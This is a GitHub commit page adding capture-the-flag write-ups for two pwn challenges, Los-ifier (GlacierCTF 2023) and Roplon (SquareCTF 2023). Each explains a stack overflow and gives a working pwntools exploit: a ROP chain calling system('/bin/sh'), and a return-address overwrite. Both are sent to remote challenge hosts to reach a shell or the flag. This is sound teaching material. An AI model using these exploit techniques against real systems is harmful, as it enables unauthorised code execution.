-
Notifications
You must be signed in to change notification settings - Fork 6
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #80 from Stefan2320/main
GlacierCTF+SquareCTF
- Loading branch information
Showing
5 changed files
with
316 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,187 @@ | ||
--- | ||
title: Los-ifier | ||
date: 2023-11-24T20:00:00+02:00 | ||
description: Writeup for Los-ifier [GlacierCTF 2023] | ||
author: PineBel | ||
tags: | ||
- pwn | ||
draft: false | ||
--- | ||
|
||
## Challenge Description: | ||
|
||
Normal binary for normal people. | ||
|
||
## Intuition | ||
|
||
|
||
First we run a checksec and a file on the binary and we can see that it's statically linked and that it lacks PIE. | ||
When first opening the binary in Ghidra we see a simple main function with nothing special, we can also observe that there is a function named setup() called, let's investigate. When opening the function, there is an interesting call made : register_printf_specifier(0x73,printf_handler,printf_arginfo_size). What this actually does is handling the %s fromat specifier from the printf() function, let's see how the printf is handled in the printf_handler function. We observe another weird function, named loscopy() which takes three parameters. The first one is the address of local_58 + 3, the second one is our input and the last one is 10 ('\n'). Opening the loscopy function we can see an overflow vulnerability inside of the while. | ||
|
||
|
||
```c | ||
undefined8 main(void) | ||
|
||
{ | ||
char local_108 [256]; | ||
|
||
setup(); | ||
fgets(local_108,0x100,(FILE *)stdin); | ||
printf("-> %s\n",local_108); | ||
return 0; | ||
} | ||
|
||
void setup(void) | ||
|
||
{ | ||
setbuf((FILE *)stdin,(char *)0x0); | ||
setbuf((FILE *)stdout,(char *)0x0); | ||
register_printf_specifier(0x73,printf_handler,printf_arginfo_size); | ||
return; | ||
} | ||
|
||
size_t printf_handler(FILE *param_1,undefined8 param_2,undefined8 *param_3) | ||
|
||
{ | ||
undefined8 local_58; | ||
undefined8 local_50; | ||
undefined8 local_48; | ||
undefined8 local_40; | ||
undefined8 local_38; | ||
undefined8 local_30; | ||
undefined8 local_28; | ||
undefined8 local_20; | ||
size_t local_18; | ||
undefined8 local_10; | ||
|
||
local_50 = 0; | ||
local_48 = 0; | ||
local_40 = 0; | ||
local_38 = 0; | ||
local_30 = 0; | ||
local_28 = 0; | ||
local_20 = 0; | ||
local_10 = *(undefined8 *)*param_3; | ||
local_58 = 0x736f4c; | ||
loscopy((long)&local_58 + 3,local_10,10); | ||
local_18 = strlen((char *)&local_58); | ||
fwrite(&local_58,1,local_18,param_1); | ||
return local_18; | ||
} | ||
|
||
|
||
void loscopy(char *param_1,char *param_2,char param_3) | ||
|
||
{ | ||
char *local_18; | ||
char *local_10; | ||
|
||
local_18 = param_2; | ||
local_10 = param_1; | ||
while (param_3 != *local_18) { | ||
*local_10 = *local_18; | ||
local_18 = local_18 + 1; | ||
local_10 = local_10 + 1; | ||
} | ||
return; | ||
} | ||
|
||
``` | ||
## Solution | ||
Let's see what we can get from GDB, putting a breakpoint in the loscopy() function we can see that we can overwrite the __printf_function_invoke() with our input. | ||
``` | ||
[#0] 0x40182c → loscopy() | ||
[#1] 0x4018d0 → printf_handler() | ||
[#2] 0x43c3b7 → __printf_function_invoke() | ||
[#3] 0x405672 → printf_positional() | ||
[#4] 0x4072b7 → __printf_buffer() | ||
[#5] 0x409181 → __vfprintf_internal() | ||
[#6] 0x404d19 → printf() | ||
[#7] 0x4019c6 → main() | ||
|
||
gef➤ x/20g 0x00007fffffffc940 | ||
0x7fffffffc940: 0x00007fffffffc9c0 0x00000000004018d0 | ||
0x7fffffffc950: 0x0000000000000000 0x00007fffffffc9e0 | ||
0x7fffffffc960: 0x00007fffffffcc30 0x00007fffffffca00 | ||
0x7fffffffc970: 0x4141414141736f4c 0x4141414141414141 | ||
0x7fffffffc980: 0x0000414141414141 0x0000000000000000 | ||
0x7fffffffc990: 0x0000000000000000 0x0000000000000000 | ||
0x7fffffffc9a0: 0x0000000000000000 0x0000000000000000 | ||
0x7fffffffc9b0: 0x0000000000000000 0x00007fffffffdc00 | ||
0x7fffffffc9c0: 0x00007fffffffc9e0 0x000000000043c3b7 | ||
0x7fffffffc9d0: 0x0000000000000000 0x00007fffffffcc30 | ||
``` | ||
The question now is, with what do we overwrite the __printf_function_invoke() address. Remembering that it's statically linked we can craft a payload and invoke a shell. First we need to see how much padding there is needed 10*8+5 bytes. To create this exploit we use a small ROP chain (gadgets were found with ROPgadget) , first we need to put the “/bin/sh” address into RDI (system's argument register) and then we should return to system. Let's see if it works! | ||
Getting the addresses of system and /bin/sh: | ||
``` | ||
gef➤ p system | ||
$1 = {<text variable, no debug info>} 0x404ae0 <system> | ||
|
||
gef➤ search-pattern "/bin/sh" | ||
[+] Searching '/bin/sh' in memory | ||
[+] In '/home/kali/CTF/Glacier/Losifier/Losifier/chall'(0x478000-0x4a0000), permission=r-- | ||
0x478010 - 0x478017 → "/bin/sh" | ||
0x4784d9 - 0x4784e0 → "/bin/sh" | ||
``` | ||
Initial payload: | ||
```py | ||
from pwn import * | ||
target = remote( "chall.glacierctf.com" ,13392 ) | ||
p = b"\x00"*(10*8+5) | ||
p += p64(0x0000000000402188) # pop rdi; ret | ||
p += p64(0x478010) # pointer to /bin/sh | ||
p += p64(0x404ae0) # system | ||
target.sendline(p) | ||
target.interactive() | ||
``` | ||
|
||
|
||
Mhmm, it doesn't work, let's see why. The error we got is: stopped 0x4047c8 in do_system (), reason: SIGSEGV. The problem is that the stack should be aligned in 16-byte bounderies, to fix this, we use a ret gadget for padding (found with ROPGadget). So our final payload looks like this: | ||
|
||
```py | ||
from pwn import * | ||
|
||
target = remote( "chall.glacierctf.com" ,13392 ) | ||
p = b"\x00"*(10*8+5) | ||
|
||
p += p64(0x000000000040101a) # ret for stack alignment | ||
p += p64(0x0000000000402188) # pop rdi; ret | ||
p += p64(0x478010) # pointer to /bin/sh | ||
p += p64(0x404ae0) # system | ||
|
||
|
||
target.sendline(p) | ||
target.interactive() | ||
``` | ||
|
||
## Flag | ||
|
||
Running the script we get: | ||
|
||
``` | ||
$ python3 payload_clever.py | ||
[+] Opening connection to chall.glacierctf.com on port 13392: Done | ||
[*] Switching to interactive mode | ||
$ ls | ||
app | ||
flag.txt | ||
$ cat flag.txt | ||
gctf{th1s_1s_th3_@riginol_fl@9} | ||
``` | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
--- | ||
title: Glacier CTF 2023 | ||
date: 2023-11-24T20:00:00+02:00 | ||
description: Writeups for [Glacierctf 2023] | ||
place: 118 | ||
total: 831 | ||
--- |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
--- | ||
title: Roplon | ||
date: 2023-11-17T20:00:00+02:00 | ||
description: Writeup for Roplon [SquareCTF 2023] | ||
author: PineBel | ||
tags: | ||
- pwn | ||
draft: false | ||
--- | ||
|
||
### Challenge Description | ||
|
||
I THINK that buffer is big enough, right? | ||
|
||
|
||
### Solution | ||
|
||
In the roplon.c file, we observe the invocation of several functions. Notably, two functions stand out: cat_flag, which assigns the command_buf to "cat flag.txt," and do_the_thing, which launches a shell with the command provided as an argument. Additionally, the program allows writing to a buffer. The program's vulnerability lies in a buffer of 16 bytes, but the fgets function permits writing up to 9999 bytes . | ||
|
||
|
||
```c | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
|
||
char command_buf[128]; | ||
|
||
char *copy_command_to_buf(char *command, char *buf) | ||
{ | ||
strcpy(buf, command); | ||
} | ||
|
||
void cat_flag() | ||
{ | ||
copy_command_to_buf("cat flag.txt", command_buf); | ||
} | ||
|
||
void ls() | ||
{ | ||
copy_command_to_buf("ls -lh flag.txt", command_buf); | ||
} | ||
|
||
void shasum_flag() | ||
{ | ||
copy_command_to_buf("shasum flag.txt", command_buf); | ||
} | ||
|
||
void do_the_thing(char *the_thing) | ||
{ | ||
system(the_thing); | ||
} | ||
|
||
int main(void) | ||
{ | ||
puts("Welcome to the ROPL!"); | ||
|
||
while (1) | ||
{ | ||
puts("what thing would you like to do?\n1: ls -lh flag.txt\n2: shasum flag.txt"); | ||
char choice[16]; | ||
fgets(choice, 9999, stdin); | ||
if (choice[0] == '1') | ||
{ | ||
ls(); | ||
do_the_thing(command_buf); | ||
} | ||
else if (choice[0] == '2') | ||
{ | ||
shasum_flag(); | ||
do_the_thing(command_buf); | ||
} | ||
else | ||
{ | ||
break; | ||
} | ||
} | ||
} | ||
|
||
``` | ||
Let's check the file protections: | ||
``` | ||
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE | ||
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 44 Symbols No 0 2roplon | ||
|
||
``` | ||
Given the absence of a canary and the lack of PIE, we can craft an exploit to overwrite the return address of the main function, enabling us to call cat_flag and do_the_thing. | ||
```py | ||
elf = pwn.ELF("./roplon") | ||
p = elf.process() | ||
cat_addr = elf.symbols['cat_flag'] | ||
sys_addr = elf.symbols['do_the_thing'] | ||
target = pwn.remote("184.72.87.9", 8007) | ||
target.sendline(b"A"*24 + pwn.p64(cat_addr) + pwn.p64(sys_addr)) | ||
target.interactive() | ||
``` | ||
|
||
#### Flag | ||
After executing, we get the flag. | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
--- | ||
title: Square CTF 2023 | ||
date: 2023-11-17T20:00:00+02:00 | ||
description: Writeups for [Squarectf 2023] | ||
place: 39 | ||
total: 540 | ||
--- |